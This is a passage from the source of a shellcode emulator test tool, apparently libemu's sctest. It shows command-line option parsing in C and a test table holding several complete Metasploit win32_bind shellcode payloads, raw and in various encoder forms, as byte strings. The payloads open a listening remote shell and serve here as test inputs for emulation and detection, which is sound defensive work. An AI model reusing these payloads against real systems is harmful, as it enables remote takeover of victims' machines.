file\"},\n\t\t{\"S\", \"stdin\"       , NULL      , \"read shellcode/buffer from stdin, works with -g\"},\n\t\t{\"s\", \"steps\"       , \"INTEGER\" , \"max number of steps to run\"},\n\t\t{\"t\", \"testnumber\"  , \"INTEGER\" , \"the test to run\"},\n\t\t{\"v\", \"verbose\"     , NULL              , \"be verbose, can be used multiple times, f.e. -vv\"},\n\t};\n\n\tint i;\n\tfor (i=0;i<sizeof(help_infos)/sizeof(struct help_info); i++)\n\t{\n\t\tprintf(\"\\t-%1s \", help_infos[i].short_param);\n\t\tif (help_infos[i].args != NULL)\n\t\t\tprintf(\"%-7s \", help_infos[i].args);\n\t\telse\n\t\t\tprintf(\"%-7s \", \"\");\n\t\tprintf(\"\\t\\t%s\\n\", help_infos[i].description);\n\n\t\tprintf(\"\\t--%s\", help_infos[i].long_param);\n\t\tif (help_infos[i].args != NULL)\n\t\t\tprintf(\"=%7s \", help_infos[i].args);\n\t\tprintf(\"\\n\\n\");\n\t}\n}\n\n\nint main(int argc, char *argv[])\n{\n\tmemset(&opts,0,sizeof(struct run_time_options));\n\n\topts.steps = 1;\n\topts.testnumber = -1;\n\topts.offset = 0;\n\n\topts.override.commands.commands = emu_hashtable_new(16, emu_hashtable_string_hash, emu_hashtable_string_cmp);\n\n\twhile ( 1 )\n\t{\n\t\tint c;\n\t\tint option_index = 0;\n\t\tstatic struct option long_options[] = {\n\t\t\t{\"argos-csi\"        , 1, 0, 'a'},\n\t\t\t{\"bind\"             , 1, 0, 'b'},\n\t\t\t{\"connect\"          , 1, 0, 'c'},\n\t\t\t{\"cmd\"              , 1, 0, 'C'},\n\t\t\t{\"dump\"             , 1, 0, 'd'},\n\t\t\t{\"getpc\"            , 0, 0, 'g'},\n\t\t\t{\"graph\"            , 1, 0, 'G'},\n\t\t\t{\"help\"             , 0, 0, 'h'},\n\t\t\t{\"interactive\"      , 0, 0, 'i'},\n\t\t\t{\"listtests\"        , 0, 0, 'l'},\n\t\t\t{\"offset\"           , 1, 0, 'o'},\n\t\t\t{\"profile\"          , 1, 0, 'p'},\n\t\t\t{\"steps\"            , 1, 0, 's'},\n\t\t\t{\"stdin\"            , 0, 0, 'S'},\n\t\t\t{\"testnumber\"       , 1, 0, 't'},\n\t\t\t{\"verbose\"          , 0, 0, 'v'},\n\t\t\t{0, 0, 0, 0}\n\t\t};\n\n\t\tc = getopt_long (argc, argv, \"a:b:c:C:d:gG:hilo:p:s:St:v\", long_options, &option_index);\n\t\tif ( c == -1 )\n\t\t\tbreak;\n\n\t\tswitch ( c )\n\t\t{\n\n\t\tcase 'a':\n\t\t\topts.from_argos_csi = strdup(optarg);\n\t\t\tprintf(\"argos-csi %s\\n\", opts.from_argos_csi);\n\t\t\tbreak;\n\n\t\tcase 'b':\n\t\t\t{\n\t\t\t\topts.override.bind.host = strdup(optarg);\n\t\t\t\tchar *port;\n\t\t\t\tif (( port = strstr(opts.override.bind.host, \":\")) != NULL)\n\t\t\t\t{\n\t\t\t\t\t*port = '\\0';\n\t\t\t\t\tport++;\n\t\t\t\t\topts.override.bind.port = atoi(port);\n\n\t\t\t\t\tif (*opts.override.bind.host == '\\0')\n\t\t\t\t\t{\n\t\t\t\t\t\tfree(opts.override.bind.host);\n\t\t\t\t\t\topts.override.bind.host = NULL;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tprintf(\"override bind %s:%i\\n\", opts.override.bind.host, opts.override.bind.port);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase 'c':\n\t\t\t{\n\t\t\t\topts.override.connect.host = strdup(optarg);\n\t\t\t\tchar *port;\n\t\t\t\tif (( port = strstr(opts.override.connect.host, \":\")) != NULL)\n\t\t\t\t{\n\t\t\t\t\t*port = '\\0';\n\t\t\t\t\tport++;\n\t\t\t\t\topts.override.connect.port = atoi(port);\n\n\t\t\t\t\tif (*opts.override.connect.host == '\\0')\n\t\t\t\t\t{\n\t\t\t\t\t\tfree(opts.override.connect.host);\n\t\t\t\t\t\topts.override.connect.host = NULL;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tprintf(\"override connect %s:%i\\n\", opts.override.connect.host, opts.override.connect.port);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase 'C':\n\t\t\t{\n\t\t\t\tchar *cmd = strdup(optarg);\n\n\t\t\t\tchar *value = strstr(cmd, \"=\");\n\t\t\t\t*value = '\\0';\n\t\t\t\tvalue++;\n\t\t\t\tprintf(\"command for %s is %s\\n\", cmd, value );\n\t\t\t\temu_hashtable_insert(opts.override.commands.commands, cmd, value);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase 'd':\n\t\t\tdump(atoi(optarg));\n\t\t\treturn 0;\n\t\t\tbreak;\n\n\t\tcase 'g':\n\t\t\topts.getpc = 1;\n\t\t\tbreak;\n\n\t\tcase 'G':\n\t\t\topts.graphfile = strdup(optarg);\n\t\t\tprintf(\"graph file %s\\n\", opts.graphfile);\n\t\t\tbreak;\n\n\t\tcase 'h':\n\t\t\tprint_help();\n\t\t\texit(0);\n\t\t\tbreak;\n\n\t\tcase 'i':\n\t\t\topts.interactive = true;\n\t\t\tbreak;\n\n\t\tcase 'l':\n\t\t\tlist_tests();\n\t\t\treturn 0;\n\t\t\tbreak;\n\n\t\tcase 'o':\n\t\t\tif (strncasecmp(optarg, \"0x\", 2) == 0)\n\t\t\t\topts.offset = strtol(optarg+2, NULL, 16); // hex vvalue\n\t\t\telse\n\t\t\t\topts.offset = strtol(optarg, NULL, 10);\t  // decimal vvalue\n\t\t\tprintf(\"offset %i (0x%x)\\n\", opts.offset, (unsigned int)opts.offset);\n\t\t\tbreak;\n\n\n\t\tcase 'p':\n\t\t\topts.profile_file = strdup(optarg);\n\t\t\tprintf(\"profile %s\\n\", opts.profile_file);\n\t\t\tbreak;\n\n\t\tcase 's':\n\t\t\topts.steps = atoi(optarg);\n\t\t\tbreak;\n\n\n\t\tcase 'S':\n\t\t\topts.from_stdin = true;\n\t\t\tbreak;\n\n\t\tcase 't':\n\t\t\topts.testnumber = atoi(optarg);\n\t\t\tbreak;\n\n\t\tcase 'v':\n\t\t\topts.verbose++;\n\t\t\tbreak;\n\n\n\n\n\n\n\t\tdefault:\n\t\t\tprintf (\"?? getopt returned character code 0%o ??\\n\", c);\n\t\t\tbreak;\n\n\t\t}\n\t}\n\tprintf(\"verbose = %i\\n\", opts.verbose);\n\n\tstruct emu *e = emu_new();\n\tif ( prepare(e) == 0 )\n\t{\n\t\tif (opts.getpc == 1)\n\t\t{\n\t\t\tgetpctest();\n\n\t\t\temu_free(e);\n\t\t\te = emu_new();\n\t\t\tprepare(e);\n\t\t}\n\n\t\ttest(e);\n\t}\n\n\temu_free(e);\n\n//\tdump_export_table();\n\tif (opts.from_argos_csi)\n\t\tfree(opts.from_argos_csi);\n\n\tif (opts.graphfile)\n\t\tfree(opts.graphfile);\n\n\n\tif (opts.profile_file)\n\t\tfree(opts.profile_file);\n\n\tif (opts.scode)\n\t\tfree(opts.scode);\n\n\treturn 0;\n}\n\n\n"
  },
  {
    "path": "tools/sctest/tests.c",
    "content": "#include \"tests.h\"\n\n\nstruct instr_test tests[] = \n{\n#ifndef _NO_TESTS\n/*  {\n\t\t.instr = \"instr\",\n\t\t.in_state.reg  = {0,0,0,0,0,0,0,0 },\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0,0,0,0,0,0,0 },\n\t\t.out_state.mem_state = {0, 0},\n\t},*/\n\n\t{   \n\t\t.instr =\"win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com\",\n\t\t.code = \n\t\t\"\\xfc\\x6a\\xeb\\x4d\\xe8\\xf9\\xff\\xff\\xff\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\"\n\t\t\"\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\"\n\t\t\"\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\"\n\t\t\"\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x28\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\"\n\t\t\"\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\\x03\\x2c\\x8b\\x89\\x6c\\x24\\x1c\\x61\"\n\t\t\"\\xc3\\x31\\xdb\\x64\\x8b\\x43\\x30\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x40\"\n\t\t\"\\x08\\x5e\\x68\\x8e\\x4e\\x0e\\xec\\x50\\xff\\xd6\\x66\\x53\\x66\\x68\\x33\\x32\"\n\t\t\"\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\xd0\\x68\\xcb\\xed\\xfc\\x3b\\x50\\xff\\xd6\"\n\t\t\"\\x5f\\x89\\xe5\\x66\\x81\\xed\\x08\\x02\\x55\\x6a\\x02\\xff\\xd0\\x68\\xd9\\x09\"\n\t\t\"\\xf5\\xad\\x57\\xff\\xd6\\x53\\x53\\x53\\x53\\x53\\x43\\x53\\x43\\x53\\xff\\xd0\"\n\t\t\"\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe1\\x95\\x68\\xa4\\x1a\\x70\\xc7\\x57\\xff\"\n\t\t\"\\xd6\\x6a\\x10\\x51\\x55\\xff\\xd0\\x68\\xa4\\xad\\x2e\\xe9\\x57\\xff\\xd6\\x53\"\n\t\t\"\\x55\\xff\\xd0\\x68\\xe5\\x49\\x86\\x49\\x57\\xff\\xd6\\x50\\x54\\x54\\x55\\xff\"\n\t\t\"\\xd0\\x93\\x68\\xe7\\x79\\xc6\\x79\\x57\\xff\\xd6\\x55\\xff\\xd0\\x66\\x6a\\x64\"\n\t\t\"\\x66\\x68\\x63\\x6d\\x89\\xe5\\x6a\\x50\\x59\\x29\\xcc\\x89\\xe7\\x6a\\x44\\x89\"\n\t\t\"\\xe2\\x31\\xc0\\xf3\\xaa\\xfe\\x42\\x2d\\xfe\\x42\\x2c\\x93\\x8d\\x7a\\x38\\xab\"\n\t\t\"\\xab\\xab\\x68\\x72\\xfe\\xb3\\x16\\xff\\x75\\x44\\xff\\xd6\\x5b\\x57\\x52\\x51\"\n\t\t\"\\x51\\x51\\x6a\\x01\\x51\\x51\\x55\\x51\\xff\\xd0\\x68\\xad\\xd9\\x05\\xce\\x53\"\n\t\t\"\\xff\\xd6\\x6a\\xff\\xff\\x37\\xff\\xd0\\x8b\\x57\\xfc\\x83\\xc4\\x64\\xff\\xd6\"\n\t\t\"\\x52\\xff\\xd0\\x68\\xf0\\x8a\\x04\\x5f\\x53\\xff\\xd6\\xff\\xd0\",\n\t\t.codesize = 317,\n\t\t.in_state.reg  = {0,0x71ab675b,0x71ac4070,0,0x22ccb0,0x22cd98,0x611001a0,0x401380},\t// ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com\",\n\t\t.code =  \n\n\t\t\"\\x33\\xc9\\x83\\xe9\\xb0\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81\\x76\\x0e\\x47\"\n\t\t\"\\x13\\x2b\\xc0\\x83\\xee\\xfc\\xe2\\xf4\\xbb\\x79\\xc0\\x8d\\xaf\\xea\\xd4\\x3f\"\n\t\t\"\\xb8\\x73\\xa0\\xac\\x63\\x37\\xa0\\x85\\x7b\\x98\\x57\\xc5\\x3f\\x12\\xc4\\x4b\"\n\t\t\"\\x08\\x0b\\xa0\\x9f\\x67\\x12\\xc0\\x89\\xcc\\x27\\xa0\\xc1\\xa9\\x22\\xeb\\x59\"\n\t\t\"\\xeb\\x97\\xeb\\xb4\\x40\\xd2\\xe1\\xcd\\x46\\xd1\\xc0\\x34\\x7c\\x47\\x0f\\xe8\"\n\t\t\"\\x32\\xf6\\xa0\\x9f\\x63\\x12\\xc0\\xa6\\xcc\\x1f\\x60\\x4b\\x18\\x0f\\x2a\\x2b\"\n\t\t\"\\x44\\x3f\\xa0\\x49\\x2b\\x37\\x37\\xa1\\x84\\x22\\xf0\\xa4\\xcc\\x50\\x1b\\x4b\"\n\t\t\"\\x07\\x1f\\xa0\\xb0\\x5b\\xbe\\xa0\\x80\\x4f\\x4d\\x43\\x4e\\x09\\x1d\\xc7\\x90\"\n\t\t\"\\xb8\\xc5\\x4d\\x93\\x21\\x7b\\x18\\xf2\\x2f\\x64\\x58\\xf2\\x18\\x47\\xd4\\x10\"\n\t\t\"\\x2f\\xd8\\xc6\\x3c\\x7c\\x43\\xd4\\x16\\x18\\x9a\\xce\\xa6\\xc6\\xfe\\x23\\xc2\"\n\t\t\"\\x12\\x79\\x29\\x3f\\x97\\x7b\\xf2\\xc9\\xb2\\xbe\\x7c\\x3f\\x91\\x40\\x78\\x93\"\n\t\t\"\\x14\\x40\\x68\\x93\\x04\\x40\\xd4\\x10\\x21\\x7b\\x3a\\x9c\\x21\\x40\\xa2\\x21\"\n\t\t\"\\xd2\\x7b\\x8f\\xda\\x37\\xd4\\x7c\\x3f\\x91\\x79\\x3b\\x91\\x12\\xec\\xfb\\xa8\"\n\t\t\"\\xe3\\xbe\\x05\\x29\\x10\\xec\\xfd\\x93\\x12\\xec\\xfb\\xa8\\xa2\\x5a\\xad\\x89\"\n\t\t\"\\x10\\xec\\xfd\\x90\\x13\\x47\\x7e\\x3f\\x97\\x80\\x43\\x27\\x3e\\xd5\\x52\\x97\"\n\t\t\"\\xb8\\xc5\\x7e\\x3f\\x97\\x75\\x41\\xa4\\x21\\x7b\\x48\\xad\\xce\\xf6\\x41\\x90\"\n\t\t\"\\x1e\\x3a\\xe7\\x49\\xa0\\x79\\x6f\\x49\\xa5\\x22\\xeb\\x33\\xed\\xed\\x69\\xed\"\n\t\t\"\\xb9\\x51\\x07\\x53\\xca\\x69\\x13\\x6b\\xec\\xb8\\x43\\xb2\\xb9\\xa0\\x3d\\x3f\"\n\t\t\"\\x32\\x57\\xd4\\x16\\x1c\\x44\\x79\\x91\\x16\\x42\\x41\\xc1\\x16\\x42\\x7e\\x91\"\n\t\t\"\\xb8\\xc3\\x43\\x6d\\x9e\\x16\\xe5\\x93\\xb8\\xc5\\x41\\x3f\\xb8\\x24\\xd4\\x10\"\n\t\t\"\\xcc\\x44\\xd7\\x43\\x83\\x77\\xd4\\x16\\x15\\xec\\xfb\\xa8\\xb7\\x99\\x2f\\x9f\"\n\t\t\"\\x14\\xec\\xfd\\x3f\\x97\\x13\\x2b\\xc0\",\n\t\t.codesize = 344,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t}, \n\t{\n\t\t.instr = \"win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com\",\n\t\t.code =  \n\n\t\t\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49\"\n\t\t\"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36\"\n\t\t\"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34\"\n\t\t\"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41\"\n\t\t\"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4c\\x56\\x4b\\x4e\"\n\t\t\"\\x4d\\x44\\x4a\\x4e\\x49\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x42\\x46\\x4b\\x48\"\n\t\t\"\\x4e\\x46\\x46\\x52\\x46\\x52\\x4b\\x38\\x45\\x54\\x4e\\x33\\x4b\\x38\\x4e\\x47\"\n\t\t\"\\x45\\x30\\x4a\\x57\\x41\\x30\\x4f\\x4e\\x4b\\x38\\x4f\\x54\\x4a\\x51\\x4b\\x38\"\n\t\t\"\\x4f\\x45\\x42\\x52\\x41\\x50\\x4b\\x4e\\x49\\x44\\x4b\\x58\\x46\\x43\\x4b\\x58\"\n\t\t\"\\x41\\x50\\x50\\x4e\\x41\\x53\\x42\\x4c\\x49\\x49\\x4e\\x4a\\x46\\x48\\x42\\x4c\"\n\t\t\"\\x46\\x37\\x47\\x50\\x41\\x4c\\x4c\\x4c\\x4d\\x50\\x41\\x50\\x44\\x4c\\x4b\\x4e\"\n\t\t\"\\x46\\x4f\\x4b\\x33\\x46\\x45\\x46\\x52\\x4a\\x42\\x45\\x47\\x45\\x4e\\x4b\\x48\"\n\t\t\"\\x4f\\x55\\x46\\x52\\x41\\x30\\x4b\\x4e\\x48\\x56\\x4b\\x48\\x4e\\x50\\x4b\\x34\"\n\t\t\"\\x4b\\x48\\x4f\\x35\\x4e\\x41\\x41\\x50\\x4b\\x4e\\x43\\x50\\x4e\\x52\\x4b\\x38\"\n\t\t\"\\x49\\x58\\x4e\\x36\\x46\\x32\\x4e\\x31\\x41\\x36\\x43\\x4c\\x41\\x33\\x4b\\x4d\"\n\t\t\"\\x46\\x56\\x4b\\x38\\x43\\x54\\x42\\x33\\x4b\\x48\\x42\\x34\\x4e\\x30\\x4b\\x58\"\n\t\t\"\\x42\\x57\\x4e\\x41\\x4d\\x4a\\x4b\\x38\\x42\\x54\\x4a\\x30\\x50\\x55\\x4a\\x46\"\n\t\t\"\\x50\\x48\\x50\\x54\\x50\\x30\\x4e\\x4e\\x42\\x45\\x4f\\x4f\\x48\\x4d\\x48\\x56\"\n\t\t\"\\x43\\x55\\x48\\x46\\x4a\\x46\\x43\\x33\\x44\\x43\\x4a\\x46\\x47\\x57\\x43\\x57\"\n\t\t\"\\x44\\x53\\x4f\\x55\\x46\\x35\\x4f\\x4f\\x42\\x4d\\x4a\\x46\\x4b\\x4c\\x4d\\x4e\"\n\t\t\"\\x4e\\x4f\\x4b\\x53\\x42\\x35\\x4f\\x4f\\x48\\x4d\\x4f\\x45\\x49\\x48\\x45\\x4e\"\n\t\t\"\\x48\\x36\\x41\\x58\\x4d\\x4e\\x4a\\x30\\x44\\x50\\x45\\x55\\x4c\\x56\\x44\\x30\"\n\t\t\"\\x4f\\x4f\\x42\\x4d\\x4a\\x46\\x49\\x4d\\x49\\x50\\x45\\x4f\\x4d\\x4a\\x47\\x45\"\n\t\t\"\\x4f\\x4f\\x48\\x4d\\x43\\x35\\x43\\x55\\x43\\x35\\x43\\x45\\x43\\x35\\x43\\x54\"\n\t\t\"\\x43\\x45\\x43\\x34\\x43\\x55\\x4f\\x4f\\x42\\x4d\\x48\\x46\\x4a\\x46\\x41\\x51\"\n\t\t\"\\x4e\\x35\\x48\\x36\\x43\\x35\\x49\\x58\\x41\\x4e\\x45\\x49\\x4a\\x36\\x46\\x4a\"\n\t\t\"\\x4c\\x41\\x42\\x37\\x47\\x4c\\x47\\x45\\x4f\\x4f\\x48\\x4d\\x4c\\x46\\x42\\x41\"\n\t\t\"\\x41\\x55\\x45\\x35\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x46\\x4a\\x4d\\x4a\\x50\\x52\"\n\t\t\"\\x49\\x4e\\x47\\x45\\x4f\\x4f\\x48\\x4d\\x43\\x35\\x45\\x45\\x4f\\x4f\\x42\\x4d\"\n\t\t\"\\x4a\\x56\\x45\\x4e\\x49\\x44\\x48\\x58\\x49\\x34\\x47\\x45\\x4f\\x4f\\x48\\x4d\"\n\t\t\"\\x42\\x55\\x46\\x35\\x46\\x55\\x45\\x35\\x4f\\x4f\\x42\\x4d\\x43\\x39\\x4a\\x46\"\n\t\t\"\\x47\\x4e\\x49\\x37\\x48\\x4c\\x49\\x47\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x45\\x45\"\n\t\t\"\\x4f\\x4f\\x42\\x4d\\x48\\x36\\x4c\\x46\\x46\\x46\\x48\\x46\\x4a\\x56\\x43\\x46\"\n\t\t\"\\x4d\\x56\\x49\\x48\\x45\\x4e\\x4c\\x36\\x42\\x55\\x49\\x45\\x49\\x42\\x4e\\x4c\"\n\t\t\"\\x49\\x38\\x47\\x4e\\x4c\\x46\\x46\\x54\\x49\\x38\\x44\\x4e\\x41\\x43\\x42\\x4c\"\n\t\t\"\\x43\\x4f\\x4c\\x4a\\x50\\x4f\\x44\\x44\\x4d\\x42\\x50\\x4f\\x44\\x34\\x4e\\x52\"\n\t\t\"\\x43\\x39\\x4d\\x48\\x4c\\x37\\x4a\\x33\\x4b\\x4a\\x4b\\x4a\\x4b\\x4a\\x4a\\x56\"\n\t\t\"\\x44\\x37\\x50\\x4f\\x43\\x4b\\x48\\x31\\x4f\\x4f\\x45\\x37\\x46\\x34\\x4f\\x4f\"\n\t\t\"\\x48\\x4d\\x4b\\x55\\x47\\x55\\x44\\x55\\x41\\x45\\x41\\x55\\x41\\x45\\x4c\\x56\"\n\t\t\"\\x41\\x50\\x41\\x35\\x41\\x55\\x45\\x55\\x41\\x55\\x4f\\x4f\\x42\\x4d\\x4a\\x56\"\n\t\t\"\\x4d\\x4a\\x49\\x4d\\x45\\x50\\x50\\x4c\\x43\\x45\\x4f\\x4f\\x48\\x4d\\x4c\\x36\"\n\t\t\"\\x4f\\x4f\\x4f\\x4f\\x47\\x33\\x4f\\x4f\\x42\\x4d\\x4b\\x48\\x47\\x45\\x4e\\x4f\"\n\t\t\"\\x43\\x38\\x46\\x4c\\x46\\x56\\x4f\\x4f\\x48\\x4d\\x44\\x45\\x4f\\x4f\\x42\\x4d\"\n\t\t\"\\x4a\\x46\\x42\\x4f\\x4c\\x48\\x46\\x50\\x4f\\x35\\x43\\x35\\x4f\\x4f\\x48\\x4d\"\n\t\t\"\\x4f\\x4f\\x42\\x4d\\x5a\",\n\n\t\t.codesize = 709,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\n\t{\n\t\t.instr = \"win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com\",\n\t\t.code =                  \n\t\t\"\\x31\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x02\"\n\t\t\"\\x19\\x61\\x76\\x83\\xeb\\xfc\\xe2\\xf4\\xfe\\x73\\x8a\\x3b\\xea\\xe0\\x9e\\x89\"\n\t\t\"\\xfd\\x79\\xea\\x1a\\x26\\x3d\\xea\\x33\\x3e\\x92\\x1d\\x73\\x7a\\x18\\x8e\\xfd\"\n\t\t\"\\x4d\\x01\\xea\\x29\\x22\\x18\\x8a\\x3f\\x89\\x2d\\xea\\x77\\xec\\x28\\xa1\\xef\"\n\t\t\"\\xae\\x9d\\xa1\\x02\\x05\\xd8\\xab\\x7b\\x03\\xdb\\x8a\\x82\\x39\\x4d\\x45\\x5e\"\n\t\t\"\\x77\\xfc\\xea\\x29\\x26\\x18\\x8a\\x10\\x89\\x15\\x2a\\xfd\\x5d\\x05\\x60\\x9d\"\n\t\t\"\\x01\\x35\\xea\\xff\\x6e\\x3d\\x7d\\x17\\xc1\\x28\\xba\\x12\\x89\\x5a\\x51\\xfd\"\n\t\t\"\\x42\\x15\\xea\\x06\\x1e\\xb4\\xea\\x36\\x0a\\x47\\x09\\xf8\\x4c\\x17\\x8d\\x26\"\n\t\t\"\\xfd\\xcf\\x07\\x25\\x64\\x71\\x52\\x44\\x6a\\x6e\\x12\\x44\\x5d\\x4d\\x9e\\xa6\"\n\t\t\"\\x6a\\xd2\\x8c\\x8a\\x39\\x49\\x9e\\xa0\\x5d\\x90\\x84\\x10\\x83\\xf4\\x69\\x74\"\n\t\t\"\\x57\\x73\\x63\\x89\\xd2\\x71\\xb8\\x7f\\xf7\\xb4\\x36\\x89\\xd4\\x4a\\x32\\x25\"\n\t\t\"\\x51\\x4a\\x22\\x25\\x41\\x4a\\x9e\\xa6\\x64\\x71\\x70\\x2a\\x64\\x4a\\xe8\\x97\"\n\t\t\"\\x97\\x71\\xc5\\x6c\\x72\\xde\\x36\\x89\\xd4\\x73\\x71\\x27\\x57\\xe6\\xb1\\x1e\"\n\t\t\"\\xa6\\xb4\\x4f\\x9f\\x55\\xe6\\xb7\\x25\\x57\\xe6\\xb1\\x1e\\xe7\\x50\\xe7\\x3f\"\n\t\t\"\\x55\\xe6\\xb7\\x26\\x56\\x4d\\x34\\x89\\xd2\\x8a\\x09\\x91\\x7b\\xdf\\x18\\x21\"\n\t\t\"\\xfd\\xcf\\x34\\x89\\xd2\\x7f\\x0b\\x12\\x64\\x71\\x02\\x1b\\x8b\\xfc\\x0b\\x26\"\n\t\t\"\\x5b\\x30\\xad\\xff\\xe5\\x73\\x25\\xff\\xe0\\x28\\xa1\\x85\\xa8\\xe7\\x23\\x5b\"\n\t\t\"\\xfc\\x5b\\x4d\\xe5\\x8f\\x63\\x59\\xdd\\xa9\\xb2\\x09\\x04\\xfc\\xaa\\x77\\x89\"\n\t\t\"\\x77\\x5d\\x9e\\xa0\\x59\\x4e\\x33\\x27\\x53\\x48\\x0b\\x77\\x53\\x48\\x34\\x27\"\n\t\t\"\\xfd\\xc9\\x09\\xdb\\xdb\\x1c\\xaf\\x25\\xfd\\xcf\\x0b\\x89\\xfd\\x2e\\x9e\\xa6\"\n\t\t\"\\x89\\x4e\\x9d\\xf5\\xc6\\x7d\\x9e\\xa0\\x50\\xe6\\xb1\\x1e\\xf2\\x93\\x65\\x29\"\n\t\t\"\\x51\\xe6\\xb7\\x89\\xd2\\x19\\x61\\x76\",\n\t\t.codesize = 344,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com\",\n\t\t.code = \n\t\t\"\\x31\\xc9\\xdd\\xc1\\xd9\\x74\\x24\\xf4\\xbb\\xbe\\x78\\x0e\\x3a\\xb1\\x51\\x5e\"\n\t\t\"\\x83\\xc6\\x04\\x31\\x5e\\x11\\x03\\xe0\\x69\\xec\\xcf\\xe0\\xe0\\x1b\\x62\\xf0\"\n\t\t\"\\x0c\\x24\\x82\\xff\\x8f\\x50\\x11\\xdb\\x6b\\xec\\xaf\\x1f\\xff\\x8e\\x2a\\x27\"\n\t\t\"\\xfe\\x81\\xbe\\x98\\x18\\xd5\\x9e\\x06\\x18\\x02\\x69\\xcd\\x2e\\x5f\\x6b\\x3f\"\n\t\t\"\\x7f\\x9f\\xf5\\x13\\x04\\xdf\\x72\\x6c\\xc4\\x2a\\x77\\x73\\x04\\x41\\x7c\\x48\"\n\t\t\"\\xdc\\xb2\\x55\\xdb\\x39\\x31\\xfa\\x07\\xc3\\xad\\x63\\xcc\\xcf\\x7a\\xe7\\x8d\"\n\t\t\"\\xd3\\x7d\\x1c\\x32\\xc0\\xf6\\x6b\\x58\\x3c\\x15\\x0d\\x63\\x0d\\xfe\\xa9\\xe8\"\n\t\t\"\\x2d\\x30\\xb9\\xae\\xbd\\xbb\\xcd\\x32\\x13\\x30\\x6d\\x42\\x35\\x2f\\xe0\\x1c\"\n\t\t\"\\xc7\\x43\\xac\\x5f\\x01\\xfd\\x1e\\xf9\\xc6\\x31\\x93\\x6d\\x60\\x45\\xe1\\x32\"\n\t\t\"\\xda\\x56\\xd5\\xa4\\x29\\x45\\x2a\\x0f\\xfe\\x69\\x05\\x30\\x77\\x70\\xcc\\x4f\"\n\t\t\"\\x6a\\x73\\x13\\x1a\\x1f\\x86\\xec\\x74\\xb7\\x5f\\x1b\\x81\\xe5\\x37\\xe3\\xbf\"\n\t\t\"\\xa5\\xe4\\x48\\x6c\\x19\\x48\\x3c\\xd1\\xce\\xb1\\x12\\xb3\\x98\\x5c\\xcf\\x5d\"\n\t\t\"\\x0a\\xd6\\x0e\\x34\\xc4\\x4c\\xca\\x46\\xd2\\xda\\x14\\x70\\xb6\\xf4\\xbb\\x29\"\n\t\t\"\\xb8\\x25\\x53\\x75\\xeb\\xe8\\x4d\\x22\\x0b\\x22\\xde\\x99\\x0c\\x1b\\x89\\xc4\"\n\t\t\"\\xba\\x1a\\x03\\x51\\xc2\\xf5\\xc4\\x09\\x68\\xaf\\x1b\\x61\\x03\\x27\\x03\\xf8\"\n\t\t\"\\xe2\\xc1\\x9c\\x05\\x3c\\x64\\xdc\\x29\\xa7\\xed\\x46\\xaf\\x40\\x91\\xeb\\xa6\"\n\t\t\"\\x74\\x3f\\xa4\\xe1\\x5f\\x0c\\xcd\\xf6\\xca\\xc8\\x47\\x1a\\x3b\\x11\\xa4\\x70\"\n\t\t\"\\xc2\\xd3\\x66\\x7a\\x79\\xf8\\xeb\\x0f\\x04\\x38\\xa7\\xa4\\x52\\x50\\xc5\\x44\"\n\t\t\"\\x17\\xb7\\xd6\\xcd\\x1c\\x47\\xfe\\x76\\xca\\xe5\\xae\\xd9\\xa5\\x63\\x50\\x88\"\n\t\t\"\\x14\\x21\\x03\\xd5\\x47\\xa1\\x0e\\xf0\\x6d\\xfc\\x02\\xfd\\xb8\\x6a\\x5a\\xfe\"\n\t\t\"\\x72\\x94\\x74\\x8b\\x2a\\x96\\xf6\\x4f\\xb0\\x99\